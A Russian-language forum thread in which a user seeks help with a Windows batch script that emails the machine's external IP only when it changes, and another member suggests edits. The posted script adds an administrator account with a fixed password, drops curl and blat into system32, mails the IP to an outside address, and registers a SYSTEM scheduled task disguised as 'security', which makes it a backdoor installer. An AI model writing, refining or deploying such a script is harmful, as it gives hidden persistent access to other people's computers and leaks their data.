|
Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » CMD/BAT - Отправка на мыло внешнего IP, при его смене |
|
CMD/BAT - Отправка на мыло внешнего IP, при его смене
|
Новый участник Сообщения: 11 |
Помогите составить скрипт, чтобы на мыло отправлялся адрес внешнего IP, только когда он изменяется, чтобы не спамить мыло дублями.
|
|
Отправлено: 08:25, 31-12-2010 |
Ветеран Сообщения: 1344
|
Профиль | Отправить PM | Цитировать зарегистрируйте домен на dyndns и поставьте dyndns updater.
|
Отправлено: 01:50, 02-01-2011 | #2 |
Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети. Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля. |
Новый участник Сообщения: 11
|
Профиль | Отправить PM | Цитировать Цитата rsod:
|
|
Отправлено: 02:43, 03-01-2011 | #3 |
Ветеран Сообщения: 3806
|
Профиль | Отправить PM | Цитировать waqu, "помогите" и "сделайте за меня" - разные вещи. С чем конкретно проблемы?
Почему именно bat? Какая целевая ОС? И вообще какая конечная задача? |
Отправлено: 14:08, 03-01-2011 | #4 |
Новый участник Сообщения: 11
|
Профиль | Отправить PM | Цитировать Скрипт я уже составил, но нужно его подредактировать чтобы на мыло отсылался IP, только когда он сменяется, а не каждые пол часа.
Вот пример скрипта, который нужно переделать: chcp 1251 net user SUPPORT password net localgroup "Administrators" SUPPORT /add ::Извлекаем файлы и копируем в нужные нам директории copy /y "curl.exe" "%SystemRoot%\system32\curl.exe" copy /y "blat.exe" "%SystemRoot%\system32\blat.exe" copy /y "blat.lib" "%SystemRoot%\system32\blat.lib" copy /y "blat.dll" "%SystemRoot%\system32\blat.dll" ::Указываем настройки Blat для отправки на почту "%SystemRoot%\system32\blat.exe" -install -server smtp.yandex.ru -port 587 -f mail@yandex.ru -u user -pw password ::Первая отправка IP сразу после установки "%SystemRoot%\system32\curl.exe" -f -s www.whatismyip.com/automation/n09230945.asp > 1.txt "%SystemRoot%\system32\blat.exe" "%SystemRoot%\system32\1.txt" -to mail@yandex.ru ::Запуск WinVer который укажет какой тип отправки IP использовать cd %SystemRoot%\system32\ start winver.exe schtasks /create /tn "security" /sc minute /mo 30 /ru "NT AUTHORITY\SYSTEM" /tr "%SystemRoot%\system32\send_IPv4.exe" /f ::Чистим лишнее del /q "%SystemRoot%\system32\winver.exe" exit |
|
Отправлено: 04:53, 05-01-2011 | #5 |
Сообщения: 53482
|
Профиль | Отправить PM | Цитировать waqu, наверное, можно эти строки:
"%SystemRoot%\system32\curl.exe" -f -s www.whatismyip.com/automation/n09230945.asp > 1.txt "%SystemRoot%\system32\blat.exe" "%SystemRoot%\system32\1.txt" -to mail@yandex.ru P. S. Файл 1.txt не удалять после выполнения. |
Последний раз редактировалось Petya V4sechkin, 05-01-2011 в 10:53. Отправлено: 10:28, 05-01-2011 | #6 |
Новый участник Сообщения: 11
|
Профиль | Отправить PM | Цитировать Petya V4sechkin
Спасибо. Буду тестировать. |
Отправлено: 01:10, 06-01-2011 | #7 |
![]() |
Участник сейчас на форуме |
![]() |
Участник вне форума |
![]() |
Автор темы |
![]() |
Сообщение прикреплено |
| |||||
Название темы | Автор | Информация о форуме | Ответов | Последнее сообщение | |
Отправка смс через мыло | Dj_Dim | Мобильные ОС, смартфоны и планшеты | 13 | 18-09-2012 16:14 | |
CMD/BAT - [решено] Копирование файла по расписанию и его отправка по почте | LokkyZ | Скриптовые языки администрирования Windows | 8 | 03-10-2011 16:49 | |
Загрузка - Проблема при смене экранов при загрузке WinXp sp3 | KDSRUS | Microsoft Windows 2000/XP | 1 | 01-11-2009 22:10 | |
Доступ - При смене имени файла меняется его расширение | Жоржик | Microsoft Windows 2000/XP | 2 | 03-09-2009 23:29 | |
Доступ - Ошибка при смене домена. | PyCu4 | Microsoft Windows NT/2000/2003 | 7 | 06-03-2008 09:48 |
|